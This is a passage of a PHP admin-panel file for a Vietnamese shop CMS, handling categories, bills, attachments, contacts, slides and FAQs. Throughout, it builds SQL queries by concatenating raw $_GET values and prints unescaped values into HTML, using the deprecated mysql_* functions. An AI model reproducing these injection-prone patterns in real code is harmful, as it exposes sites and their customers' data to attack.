                                'eproduct_star1' => '',
                                'eproduct_star2' => '',
                                'eproduct_star3' => '',
                                'eproduct_star4' => 'selected',
                                'eproduct_star5' => '',

                                'dr1_a' => '',
                                'dr1_b' => '',
                                'dr2_d' => 'display: none;',
                                'dr2_a' => '',
                                'dr2_b' => '',
                                'dr3_d' => 'display: none;',
                                'dr3_a' => '',
                                'dr3_b' => '',
                                'dr4_d' => 'display: none;',
                                'dr4_a' => '',
                                'dr4_b' => '',
                                'dr5_d' => 'display: none;',
                                'dr5_a' => '',
                                'dr5_b' => '',
                                'dr6_d' => 'display: none;',
                                'dr6_a' => '',
                                'dr6_b' => '',
                                'dr7_d' => 'display: none;',
                                'dr7_a' => '',
                                'dr7_b' => '',
                                'dr8_d' => 'display: none;',
                                'dr8_a' => '',
                                'dr8_b' => '',
                                'dr9_d' => 'display: none;',
                                'dr9_a' => '',
                                'dr9_b' => '',
                                'dr10_d' => 'display: none;',
                                'dr10_a' => '',
                                'dr10_b' => '',
                                'dr11_d' => 'display: none;',
                                'dr11_a' => '',
                                'dr11_b' => '',
                                'dr12_d' => 'display: none;',
                                'dr12_a' => '',
                                'dr12_b' => '',
                                'dr13_d' => 'display: none;',
                                'dr13_a' => '',
                                'dr13_b' => '',
                                'dr14_d' => 'display: none;',
                                'dr14_a' => '',
                                'dr14_b' => '',
                                'dr15_d' => 'display: none;',
                                'dr15_a' => '',
                                'dr15_b' => '',
                                'eproduct_bt' => 'Thêm sản phẩm',
                            ));
                    }
                
                
                    $cats = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = 0 and (cat_type IN (2)) ORDER BY cat_order ASC");    
                    while ($listcat = @mysql_fetch_array ($cats)){
                        $sub_cat = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$listcat['id']." ORDER BY cat_order ASC");
                        while ($listsub = @mysql_fetch_array ($sub_cat)){
                            
                            $sub_cat1 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$listsub['id']." ORDER BY cat_order ASC");
                                while ($listsub1 = @mysql_fetch_array ($sub_cat1)){
                                    
                                    $sub_cat2 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$listsub1['id']." ORDER BY cat_order ASC");
                                        while ($listsub2 = @mysql_fetch_array ($sub_cat2)){
                                         $tpl->assign(
                                            array(
                                            'cat_id_sub2' => $listsub2['id'],
                                            'cat_name_sub2' => $listsub2['cat_name'],
                                            'cat_check2' => (($listsub2['id'] == $product['product_cat']) || ($listsub2['id'] == $_SESSION['cat']) )?'selected=""':'',
                                        ));
                                    $tpl->parse('pd_cat_sub2');
                            }
                            
                                    $tpl->assign(
                                    array(
                                        'cat_id_sub1' => $listsub1['id'],
                                        'cat_name_sub1' => $listsub1['cat_name'],
                                        'cat_check1' => (($listsub1['id'] == $product['product_cat']) || ($listsub1['id'] == $_SESSION['cat']) )?'selected=""':'',
                                    ));
                                $tpl->parse('pd_cat_sub1');
                            }
                        
                            $tpl->assign(
                                array(
                                    'cat_id_sub' => $listsub['id'],
                                    'cat_name_sub' => $listsub['cat_name'],
                                    'cat_check' => (($listsub['id'] == $product['product_cat']) || ($listsub['id'] == $_SESSION['cat']) )?'selected=""':'',
                                ));
                            $tpl->parse('pd_cat_sub');
                        }
                        $tpl->assign(
                            array(
                                'cat_id' => $listcat['id'],
                                'cat_name' => $listcat['cat_name'],
                                'catcheck' => (($listcat['id'] == $product['product_cat']) || ($listcat['id'] == $_SESSION['cat']) )?'selected=""':'',
                            ));
                        $tpl->parse('pd_cat');
                    }

                    $listImages = explode(',', $product['attach_image']);
                    foreach($listImages as $imgUrl){
                        $dr_total1 ++;
                        if($imgUrl){
                            $thumb = explode('/', $imgUrl);
                            $thumb[count($thumb) - 1] = 'thumbs-' . $thumb[count($thumb) - 1];
                            
                            $tpl->assign(
                                array(
                                    'attach_dem' => $dr_total1,
                                    'attach_image_url' => $imgUrl,
                                    'attach_thumb_url' => implode('/', $thumb)
                                )
                                
                            );
                            $tpl->parse('pd_images');                           
                        }
                    }
                }else {
                    Redirect("","index.php?m=21");
                }
                    
                    $this_menu .= ' | Thêm sản phẩm';
                    break;

                case '3':
                    $this_menu .= ' | Cập nhật sản phẩm từ Excel';
                    if($useron['user_level'] >= 4) {
                        if($_GET['update'] == 'error') $tpl->parse('update_error');
                        elseif($_GET['update'] == 'success') {
                            $tpl->assign('total_ok', $_GET['total']);
                            $tpl->parse('update_ok');
                        }
                        else $tpl->parse('update');
                    }
                    break;
            }
            break;
            
        case '4':
            $this_menu = '| Hóa đơn';
            switch($sub_menu){
                case '0':
                    $this_menu .= ' | Chưa thanh toán';
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    $b_start = ($current_page -1) * get_option('paging');
                    $total_b = @mysql_num_rows(@mysql_query("SELECT id FROM cily_bills WHERE bill_pay = 0"));
                    $bill_list = @mysql_query("SELECT * FROM cily_bills WHERE bill_pay = 0 ORDER BY id DESC LIMIT ".$b_start.",".get_option('paging'));
                    while ($lbill = @mysql_fetch_array ($bill_list)){
                        $data = explode(',',$lbill['bill_info']);
                        $pd_monney = 0;
                        $pd_total = 0;
                        foreach($data as $item){
                            $item = explode(':',$item);
                            $price = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_products WHERE id = ".$item[0]));
                            $pd_monney += $price['product_price']*$item[1];
                            $pd_total += $item[1];
                        }
                        $tpl->assign(
                            array(
                                'lbill_id' => $lbill['id'],
                                'lbill_name' => $lbill['bill_name'],
                                'lbill_monney' => number($pd_monney * $tygia),
                                'lbill_total' => number($pd_total),
                                'lbill_time' => formatTime($lbill['bill_time'], 1),
                            ));
                        $tpl->parse('bill_list');
                    }
                    $tpl->assign('lb_paging',paging(get_option('paging'),$current_page, $total_b, 'index.php?m=4',$modpage.'&page=' ,false));
                    
                    break;
                
                case '1':
                    $this_menu .= ' | Đã thanh toán';
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    $b_start = ($current_page -1) * get_option('paging');
                    $total_b = @mysql_num_rows(@mysql_query("SELECT id FROM cily_bills WHERE bill_pay = 1"));
                    $bill_list = @mysql_query("SELECT * FROM cily_bills WHERE bill_pay = 1 ORDER BY bill_date DESC LIMIT ".$b_start.",".get_option('paging'));
                    while ($lbill = @mysql_fetch_array ($bill_list)){
                        $data = explode(',',$lbill['bill_info']);
                        $pd_monney = 0;
                        $pd_total = 0;
                        foreach($data as $item){
                            $item = explode(':',$item);
                            $price = @mysql_fetch_array(@mysql_query("SELECT product_price, product_free FROM cily_products WHERE id = ".$item[0]));
                            $pd_monney += $price['product_price']*$item[1];
                            $pd_total += $item[1];
                        }
                        $tpl->assign(
                            array(
                                'lbill_id' => $lbill['id'],
                                'lbill_name' => $lbill['bill_name'],
                                'lbill_monney' => number($pd_monney * $tygia),
                                'lbill_total' => number($pd_total),
                                'bill_date' => formatTime($lbill['bill_date'], 1),
                            ));
                        $tpl->parse('bill1_list');
                    }
                    $tpl->assign('lb_paging',paging(get_option('paging'),$current_page, $total_b, 'index.php?m=4&sm=1',$modpage.'&page=' ,false));
                    
                    break;
                
                case '2':
                    $bill = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_bills WHERE id = ".$_GET['id']));
                    
                    $data = explode(',',$bill['bill_info']);
                    $monney = 0;
                    foreach($data as $item){
                        $item = explode(':',$item);
                        $product = @mysql_fetch_array(@mysql_query("SELECT p.*, c.id as cid, p.id AS pid, c.* FROM cily_products as p LEFT JOIN cily_cats as c ON(c.id = p.product_cat) WHERE p.id = ".$item[0]));
                        $p_monney = $product['product_price']*$item[1];
                        $monney += $p_monney;
                        $descrip = explode(',',$bill['bill_info']);
                        $tpl->assign(
                            array(
                                'pid' => $product['pid'],
                                'cid' => $product['cid'],
                                'cat_ascii' => $product['cat_name_ascii'],
                                'cat_name' => $product['cat_name'],
                                'lbill_total' => $product['product_total'],
                                'product_ascii' => $product['product_name_ascii'],
                                'product_name' => $product['product_name'],
                                'product_price' => number($product['product_price'] * $tygia),
                                'product_total' => number($item[1]),
                                'monney' => number($p_monney * $tygia),
                            ));
                        $tpl->parse('bill_product');
                    }


                    $tpl->assign(
                        array(
                            'monney_total' => number($monney * $tygia),
                            'bill_id' => $_GET['id'],
                            'bill_name' => $bill['bill_name'],
                            'bill_phone' => $bill['bill_phone'],
                            'bill_fax' => ($bill['bill_fax'])?$bill['bill_fax']:'Không có',
                            'bill_email' => $bill['bill_email'],
                            'bill_add' => $bill['bill_add'],
                            'bill_payment' => ($bill['bill_payment_method'] == '4')?'Thanh toán tại cửa hàng':'Thanh toán khi nhận được hàng',
                            'bill_time' => formatTime($bill['bill_time'], 1),
                        ));

                    if ($bill['bill_ship2same'] == '0'){

                        $tpl->assign(
                            array(
                            'bill_shipping_name' => $bill['bill_shipping_name'],
                            'bill_shipping_phone' => $bill['bill_shipping_phone'],
                            'bill_shipping_add' => $bill['bill_shipping_add'],
                            'bill_ship2same' => $bill['bill_ship2same'],
                            ));
                        $tpl->parse('bill_nhanhang');
                    }else {

                        $tpl->parse('bill_nhanhang1');
                    }
                    
                    break;
            }
            break;
        
        case '5':
            $this_menu = '| File đính kèm';
            unset($_SESSION['img_demo']);
            switch($sub_menu){
                case '0':
                    $this_menu .= ' | Danh sách';
                    $current_page = ($_GET['page'])?$_GET['page']:1;

                    

                    if($_GET['type'] == 'media') {
                        $modpage = '&type=media';
                        $d_where = 'WHERE data_type = 2';
                        $tpl->assign('media_curent','font-weight: bold; color: #ccc');
                        $this_menu .= ' | Media';
                    }
                    elseif($_GET['type'] == 'other') {
                        $modpage = '&type=other';
                        $d_where = 'WHERE data_type = 3';
                        $tpl->assign('other_curent','font-weight: bold; color: #ccc');
                        $this_menu .= ' | Other';
                    }
                    else {
                        $modpage = '';
                        $d_where = 'WHERE data_type = 1';
                        $tpl->assign('img_curent','font-weight: bold; color: #ccc');
                        $this_menu .= ' | Ảnh';
                    }
                    if(($_GET['cat'])) {
                        $modpage.= '&cat='.$_GET['cat'];
                        $d_where.= ' AND data_cat = '.$_GET['cat'].'';
                    }
                    $tpl->assign(
                        array(
                            'img_total' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_datas WHERE data_type = 1")),
                            'media_total' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_datas WHERE data_type = 2")),
                            'other_total' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_datas WHERE data_type = 3")),
                        ));
                    $d_start = ($current_page -1) * get_option('paging');
                    $total_d = @mysql_num_rows(@mysql_query("SELECT id FROM cily_datas ".$d_where.""));
                    $data_list = @mysql_query("SELECT * FROM cily_datas ".$d_where." ORDER BY id DESC LIMIT ".$d_start.",".get_option('paging'));
                    while ($ldata = @mysql_fetch_array ($data_list)){
                        $imgsize = filesize(str_replace(get_option('url'),'..',$ldata['data_url']));
                        
                        $u_catname = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_cats WHERE id = ".$ldata['data_cat']));
                        $icon = ($ldata['data_type'] == 1)?$ldata['data_thumb']:'../data/javascripts/editor/icons/'.type($ldata['data_url']).'.png';
                        $tpl->assign(
                            array(
                                'file_id' => $ldata['id'],
                                'file_name' => catchuoi($ldata['data_name'],3),
                                'file_icon' => $icon,
                                'file_desc' => $ldata['data_info'],
                                'file_url' => $ldata['data_url'],
                                'file_catname' => $u_catname['cat_name'],
                                'file_catid' => $u_catname['id'],
                                'file_size' => format_size($imgsize),
                                'file_time' => formatTime($ldata['data_time'], 1),
                                'file_notice' => ($imgsize >= 1000000)?'color: red':'',
                                'file_timeover' => humanTiming($ldata['data_time']),
                            ));
                            

                        $tpl->parse('file_list');
                    }
                    $tpl->assign('file_dscat',getSubcat());
                    $tpl->assign('file_type',($_GET['type'] != NULL)?'&type='.$_GET['type']:'');
                    $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
                    $tpl->assign('ld_paging',paging(get_option('paging'),$current_page, $total_d, 'index.php?m=5',$modpage.'&page=' ,false));
                    break;
                    
                case '1':
                    $edata = @mysql_fetch_array(@mysql_query("SELECT data_name, data_info FROM cily_datas WHERE id = ".$_GET['id']));
                    $tpl->assign(
                        array(
                            'edata_id' => $_GET['id'],
                            'edata_name' => $edata['data_name'],
                            'edata_desc' => $edata['data_info'],
                        ));
                    $tpl->assign('file1_dscat',getSubcat());
                    $this_menu .= ' | Sửa thông tin';
                    break;
            }
            break;
            
            
        case '7':
            $this_menu = ' | Danh mục';
            $sub_cat = @mysql_query("SELECT * FROM cily_modules WHERE mod_home = '1' AND mod_type = 'menu' ORDER BY id ASC");
                        while ($listsub_kieu = @mysql_fetch_array ($sub_cat)){
                            $tpl->assign(
                                array(
                                    'kieu_id' => $listsub_kieu['id'],
                                    'kieu_name' => $listsub_kieu['mod_name'],
                                ));
                      
                    if($_GET['id'] > 0){
                        unset($_SESSION['cat_sub']); 
                        unset($_SESSION['cat_lang']); 
                        $cat = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_cats WHERE id = ".$_GET['id']));
                        $tpl->assign(
                            array(
                                'ecat_action' => 'edit',
                                'ecat_id' => $cat['id'],
                                'ecat_name' => $cat['cat_name'],
                                'ecat_thuoctinh' => $cat['cat_value'],
                                'ecat_desc' => $cat['cat_info'],
                                'ecat_order' => $cat['cat_order'],
                                'cat_type' => $cat['cat_type'],
                                'cat_img' => $cat['cat_img'],
                                'cat_img_cf' => ($cat_seting1['mod_home'] == 1)?'<div class="content">    
                        <input type="button" class="btn btn-default" value="Ảnh minh họa" onclick="$.showAkModal(\'../data/javascripts/editor/popups/insert_imgdemo.php?type=up\',\'Image\',450,400);" />
                        <br />
                        <p align="right" id="imgdemos" style="margin-top: 5px;"><img style="max-width: 115px; border: 1px solid #cbcbcb" src="'.$cat['cat_img'].'" />
                            <input type="hidden" name="img" value="'.$cat['cat_img'].'" /></p>
                    </div>':'',
                                'ecat_bt' => 'Sửa danh mục',
                                'ecat_kieushow' => ($listsub_kieu['id'] == $cat['cat_type'])?'selected':'',

                                'ecat_lang1' => ($cat['cat_lang'] == 1)?'selected=""':'',
                                'ecat_lang2' => ($cat['cat_lang'] == 2)?'selected=""':'',
                                'ecat_lang3' => ($cat['cat_lang'] == 3)?'selected=""':'',
                                'ecat_lang4' => ($cat['cat_lang'] == 4)?'selected=""':'',
                                'ecat_lang5' => ($cat['cat_lang'] == 5)?'selected=""':'',
                            ));
                    }
                    else {
                        
                        $tpl->assign(
                            array(
                                'ecat_action' => 'add',
                                'ecat_id' => '',
                                'ecat_name' => '',
                                'ecat_thuoctinh' => '',
                                'ecat_desc' => '',
                                'ecat_lang1' => ($_SESSION['cat_lang'] == '1')?'selected=""':'',
                                'ecat_lang2' => ($_SESSION['cat_lang'] == '2')?'selected=""':'',
                                'ecat_lang3' => ($_SESSION['cat_lang'] == '3')?'selected=""':'',
                                'ecat_lang4' => ($_SESSION['cat_lang'] == '4')?'selected=""':'',
                                'ecat_lang5' => ($_SESSION['cat_lang'] == '5')?'selected=""':'',

                                'ecat_order' => ($_SESSION['cat_order'] != NULL)?''.$_SESSION['cat_order'].'" onfocus="if(this.value==\''.$_SESSION['cat_order'].'\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\''.$_SESSION['cat_order'].'\'':'1',
                                'ecat_bt' => 'Thêm danh mục',
                                'cat_img_cf' => ($cat_seting1['mod_home'] == 1)?'<div class="content">    
                        <input type="button" class="btn btn-default" value="Ảnh minh họa" onclick="$.showAkModal(\'../data/javascripts/editor/popups/insert_imgdemo.php?type=up\',\'Image\',450,400);" />
                        <br />
                        <p align="right" id="imgdemos" style="margin-top: 5px;"><img style="max-width: 115px; border: 1px solid #cbcbcb" src="'.get_option('url').'/data/images/df-img.png" />
                            <input type="hidden" name="img" value="'.get_option('url').'/data/images/df-img.png" /></p>
                    </div>':'',
                            ));
                        $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];  
                    }
                    $tpl->parse('chonkieumodule');
                     
                      }

                        if($_GET['lang'] == '1') {
                                $tpl->assign(
                                array(
                                    'vn_curent' => 'font-weight: bold; color: #ccc',
                                    'vn_title' => 'Tiếng Việt',
                                ));
                            }
                            elseif($_GET['lang'] == '2') {
                                $tpl->assign(
                                array(
                                    'en_curent' => 'font-weight: bold; color: #ccc',
                                    'vn_title' => 'Tiếng Anh',
                                ));
                            }
                            elseif($_GET['lang'] == '3') {
                                $tpl->assign(
                                array(
                                    'cn_curent' => 'font-weight: bold; color: #ccc',
                                    'vn_title' => 'Tiếng Trung',
                                ));
                            }
                            elseif($_GET['lang'] == '4') {
                                $tpl->assign(
                                array(
                                    'jp_curent' => 'font-weight: bold; color: #ccc',
                                    'vn_title' => 'Tiếng Nhật',
                                ));
                            }
                            elseif($_GET['lang'] == '5') {
                                $tpl->assign(
                                array(
                                    'kr_curent' => 'font-weight: bold; color: #ccc',
                                    'vn_title' => 'Tiếng Hàn',
                                ));
                            }


                    if ($_GET['lang'] != NULL) {$dieukien = 'AND cat_lang = '.$getlang.'';}


                    $cat1 = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_cats WHERE id = ".$_GET['id']));
                    $cat_list = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = 0 ORDER BY cat_order ASC");    
                    while ($lcat = @mysql_fetch_array ($cat_list)){
                        list($p_lcat_chon) = @mysql_fetch_array(@mysql_query("SELECT mod_name FROM cily_modules WHERE id = ".$lcat['cat_type']));
                        if($_GET['id'] != $lcat['id']) {
                             $cat_list2 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$lcat['id']." ORDER BY cat_order ASC");
                                while ($listsub2 = @mysql_fetch_array ($cat_list2)){
                                    
                                    $cat_list3 = @mysql_query("SELECT id, cat_name, cat_sub, cat_order FROM cily_cats WHERE cat_sub = ".$listsub2['id']." ORDER BY cat_order ASC");
                                        while ($listsub3 = @mysql_fetch_array ($cat_list3)){
                                            
                                            $cat_list4 = @mysql_query("SELECT id, cat_name, cat_sub, cat_order FROM cily_cats WHERE cat_sub = ".$listsub3['id']." ORDER BY cat_order ASC");
                                                while ($listsub4 = @mysql_fetch_array ($cat_list4)){
                                                    $tpl->assign(
                                                        array(
                                                            'cat_id4' => $listsub4['id'],
                                                            'cat_name4' => $listsub4['cat_name'],
                                                            ));
                                                    $tpl->parse('add_cat4');
                                            }
                                    
                                        $tpl->assign(
                                            array(
                                                'cat_id3' => $listsub3['id'],
                                                'cat_name3' => $listsub3['cat_name'],
                                                'ecat_check3' => (($listsub3['id'] == $cat['cat_sub']) || ($listsub3['id'] == $_SESSION['cat_sub']) )?'selected=""':'',
                                            ));
                                        $tpl->parse('add_cat3');
                                    }
                              
                                    $tpl->assign(
                                    array(
                                        'cat_id2' => $listsub2['id'],
                                        'cat_name2' => $listsub2['cat_name'],
                                        'ecat_check2' => (($listsub2['id'] == $cat['cat_sub']) || ($listsub2['id'] == $_SESSION['cat_sub']) )?'selected=""':'',
                                        ));
                                    $tpl->parse('add_cat2');
                              }
                              
                            $tpl->assign(
                                array(
                                    'cat_id' => $lcat['id'],
                                    'cat_name' => $lcat['cat_name'],
                                    'ecat_check' => (($lcat['id'] == $cat['cat_sub']) || ($lcat['id'] == $_SESSION['cat_sub']) )?'selected=""':'',

                                ));
                            $tpl->parse('add_cat');
                            
                        }//End menu da cap

                    }

                        
                            
                    $cat1_list = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = 0 ".$dieukien." ORDER BY cat_order ASC");    
                    while ($l1cat = @mysql_fetch_array ($cat1_list)){
                        list($p_lcat_chon) = @mysql_fetch_array(@mysql_query("SELECT mod_name FROM cily_modules WHERE id = ".$l1cat['cat_type']));
                        $sub_cat = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$l1cat['id']." ORDER BY cat_order ASC");
                        while ($listsub = @mysql_fetch_array ($sub_cat)){
                            list($p_cat_chon) = @mysql_fetch_array(@mysql_query("SELECT mod_name FROM cily_modules WHERE id = ".$listsub['cat_type']));
                            $sub_cat1 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$listsub['id']." ORDER BY cat_order ASC");
                                while ($listsub1 = @mysql_fetch_array ($sub_cat1)){
                                    list($p_cat_chon1) = @mysql_fetch_array(@mysql_query("SELECT mod_name FROM cily_modules WHERE id = ".$listsub1['cat_type']));
                                $sub_cat2 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$listsub1['id']." ORDER BY cat_order ASC");
                                    while ($listsub2 = @mysql_fetch_array ($sub_cat2)){
                                        list($p_cat_chon2) = @mysql_fetch_array(@mysql_query("SELECT mod_name FROM cily_modules WHERE id = ".$listsub2['cat_type']));
                                    $tpl->assign(
                                        array(
                                            'lscat_id2' => $listsub2['id'],
                                            'lscat_name2' => $listsub2['cat_name'],
                                            'lscat_desc2' => $listsub2['cat_info'],
                                            'lscat_stt2' => $listsub2['cat_order'],
                                            'lscat_type2' => $p_cat_chon2,
                                            'lscat_mausac2' => mausac($listsub2['cat_type']),
                                            'lscat_lang2' => ($listsub2['cat_lang']),
                                            'lscat_mslang2' => mausac($listsub2['cat_lang']),
                                            'lscat_cvlang2' => language($listsub2['cat_lang']),
                                            'lscat_state2' => $listsub2['cat_home'],
                                            'lscat_state2_2' => ($listsub2['cat_home'] == 1)?$listsub2['cat_home'] = 0:$listsub2['cat_home'] = 1,
                                            'lscat_post2' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_cat = ".$listsub2['id'])),
                                            'lscat_pro2' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat = ".$listsub2['id'])),
                                        ));
                                        $tpl->parse('list_cat_sub2');
                                    }
                            
                                $tpl->assign(
                                    array(
                                        'lscat_id1' => $listsub1['id'],
                                        'lscat_name1' => $listsub1['cat_name'],
                                        'lscat_desc1' => $listsub1['cat_info'],
                                        'lscat_state1' => $listsub1['cat_home'],
                                        'lscat_type1' => $p_cat_chon1,
                                        'lscat_mausac1' => mausac($listsub1['cat_type']),
                                        'lscat_lang1' => ($listsub1['cat_lang']),
                                        'lscat_mslang1' => mausac($listsub1['cat_lang']),
                                        'lscat_cvlang1' => language($listsub1['cat_lang']),
                                        'lscat_state1_1' => ($listsub1['cat_home'] == 1)?$listsub1['cat_home'] = 0:$listsub1['cat_home'] = 1,
                                        'lscat_stt1' => $listsub1['cat_order'],
                                        'lscat_post1' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_cat = ".$listsub1['id'])),
                                        'lscat_pro1' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat = ".$listsub1['id'])),
                                    ));
                                $tpl->parse('list_cat_sub1');
                            }
                            $tpl->assign(
                                array(
                                    'lscat_id' => $listsub['id'],
                                    'lscat_name' => $listsub['cat_name'],
                                    'lscat_desc' => $listsub['cat_info'],
                                    'lscat_state' => $listsub['cat_home'],
                                    'lscat_type' => $p_cat_chon,
                                    'lscat_mausac' => mausac($listsub['cat_type']),
                                    'lscat_lang' => ($listsub['cat_lang']),
                                    'lscat_mslang' => mausac($listsub['cat_lang']),
                                    'lscat_cvlang' => language($listsub['cat_lang']),
                                    'lscat_state1' => ($listsub['cat_home'] == 1)?$listsub['cat_home'] = 0:$listsub['cat_home'] = 1,
                                    'lscat_stt' => $listsub['cat_order'],
                                    'lscat_post' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_cat = ".$listsub['id'])),
                                    'lscat_pro' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat = ".$listsub['id'])),
                                ));
                            $tpl->parse('list_cat_sub');
                        }
                        $tpl->assign(
                            array(
                                'lcat_id' => $l1cat['id'],
                                'lcat_name' => $l1cat['cat_name'],
                                'lcat_desc' => $l1cat['cat_info'],
                                'lcat_stt' => $l1cat['cat_order'],
                                'lcat_type' => $p_lcat_chon,
                                'lcat_mausac' => mausac($l1cat['cat_type']),
                                'lcat_lang' => ($l1cat['cat_lang']),
                                'lcat_mslang' => mausac($l1cat['cat_lang']),
                                'lcat_cvlang' => language($l1cat['cat_lang']),
                                'lcat_state' => $l1cat['cat_home'],
                                'lcat_state1' => ($l1cat['cat_home'] == 1)?$l1cat['cat_home'] = 0:$l1cat['cat_home'] = 1,
                                'lcat_post' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_cat = ".$l1cat['id'])),
                                'lcat_pro' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat = ".$l1cat['id'])),
                            ));
                        $tpl->parse('list_cat');

                    }
                    
                    $this_menu .= ' | Danh mục';
            
            break;
            
        case '8':
            
            
            break;
            
        case '9':
            $this_menu = '| Liên hệ';
            switch($sub_menu){
                case '0':
                    $contact_list = @mysql_query("SELECT * FROM cily_contacts ORDER BY id DESC");
                    while ($lcontact = @mysql_fetch_array ($contact_list)){
                        $tpl->assign(
                            array(
                                'lcontact_id' => $lcontact['id'],
                                'lcontact_name' => $lcontact['contact_name'],
                                'lcontact_phone' => $lcontact['contact_phone'],
                                'lcontact_title' => $lcontact['contact_title'],
                                'lcontact_content' => catchuoi($lcontact['contact_content'],20),
                                'lcontact_read1' => ($lcontact['contact_read'] == 1)?'Đã xem':'chưa xem',
                                'lcontact_time' => formatTime($lcontact['contact_time'], 1),
                            ));
                        $tpl->parse('list_contact');
                    }
                    $this_menu .= ' | Danh sách';
                    break;
                    
                case '1':
                @mysql_query("UPDATE cily_contacts SET contact_read = '1' WHERE id = ".$_GET['id']);
                    $contact = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_contacts WHERE id = ".$_GET['id']));
                    $tpl->assign(
                        array(
                            'contact_id' => $_GET['id'],
                            'contact_title' => $contact['contact_title'],
                            'contact_name' => $contact['contact_name'],
                            'contact_phone' => $contact['contact_phone'],
                            'contact_fax' => ($contact['contact_fax'])?$contact['contact_fax']:'Không có',
                            'contact_email' => $contact['contact_email'],
                            'contact_add' => $contact['contact_add'],
                            'contact_content' => $contact['contact_content'],
                            'contact_time' => formatTime($contact['contact_time'], 1),
                        ));
                    break;
                    
                case '2':
                    $contact = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_contacts WHERE id = ".$_GET['id']));
                    $tpl->assign(
                        array(
                            'contact_title' => $contact['contact_title'],
                            'contact_name' => $contact['contact_name'],
                            'contact_email' => $contact['contact_email'],
                        ));
                    $this_menu .= ' | Trả lời';
                    break;
            }
            break;
            
        case '10':
            $this_menu = '| Ứng dụng thêm';
            switch($sub_menu){
                case '0':
                    $this_menu .= ' | Slide';
                    if($_GET['id'] > 0){
                        $slide = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_slides WHERE id = ".$_GET['id']));
                        $tpl->assign(
                            array(
                                'eslide_action' => 'edit',
                                'eslide_id' => $slide['id'],
                                'eslide_name' => $slide['slide_name'],
                                'eslide_content' => $slide['slide_content'],
                                'eslide_img' => ($slide['slide_img'] == '')?''.get_option('url').'/data/images/df-img.png':$slide['slide_img'],
                                'eslide_url' => $slide['slide_url'],
                                'eslide_order' => $slide['slide_order'],
                                'eslide_bt' => 'Sửa Slide',
                            ));
                        $this_menu .= ' | Sửa';
                    }
                    else {
                        $tpl->assign(
                            array(
                                'eslide_action' => 'add',
                                'eslide_id' => '',
                                'eslide_order' => ($_SESSION['slide_order'] != NULL)?''.$_SESSION['slide_order'].'" onfocus="if(this.value==\''.$_SESSION['slide_order'].'\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\''.$_SESSION['slide_order'].'\'':'1',
                                'eslide_name' => '',
                                'eslide_content' => '',
                                'eslide_img' => ''.get_option('url').'/data/images/df-img.png',
                                'eslide_url' => '#',
                                'eslide_bt' => 'Thêm slide',
                            ));
                    }
                    
                    $s_list = @mysql_query("SELECT * FROM cily_slides ORDER BY slide_order ASC");
                    while ($lslide = @mysql_fetch_array ($s_list)){
                        $tpl->assign(
                            array(
                                'lslide_showcolor' => ($lslide['slide_home'] == 0)?'#dbdbdb':'',
                                'lslide_id' => $lslide['id'],
                                'lslide_order' => $lslide['slide_order'],
                                'lslide_name' => $lslide['slide_name'],
                                'lslide_img' => ($lslide['slide_img'] == '')?''.get_option('url').'/data/images/df-img.png':$lslide['slide_img'],
                                'lslide_url' => $lslide['slide_url'],
                                'lslide_home' => $lslide['slide_home'],
                                'lslide_home1' => ($lslide['slide_home'] == 1)?$lslide['slide_home'] = 0:$lslide['slide_home'] = 1,
                                
                            ));
                        $tpl->parse('list_slide');
                    }
                    
                    break;
            
                case '1':
                    $this_menu .= ' | Câu hỏi thường gặp';
                    $faq = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_faqs WHERE id = ".$_GET['id']));

                    if($_GET['id'] > 0){
                        unset($_SESSION['sub_faq']);
                        $tpl->assign(
                            array(
                                'efaq_action' => 'edit',
                                'efaq_id' => $_GET['id'],
                                'efaq_order' => $faq['faq_order'],
                                'efaq_title' => $faq['faq_name'],
                                'efaq_fullname' => $faq['faq_fullname'],
                                'efaq_email' => $faq['faq_email'],
                                'efaq_reply' => $faq['faq_reply'],
                                'efaq_content' => $faq['faq_content'],
                                'efaq_bt' => 'Sửa câu hỏi',
                            ));
                        $this_menu .= ' | Sửa';
                    }
                    else {


                        $tpl->assign(
                            array(
                                'efaq_action' => 'add',
                                'efaq_id' => '',
                                'efaq_order' => '1" onfocus="if(this.value==\'1\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'1\'',
                                'efaq_title' => 'Gõ tiêu đề vào đây" onfocus="if(this.value==\'Gõ tiêu đề vào đây\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'Gõ tiêu đề vào đây\'',
                                'efaq_content' => '',
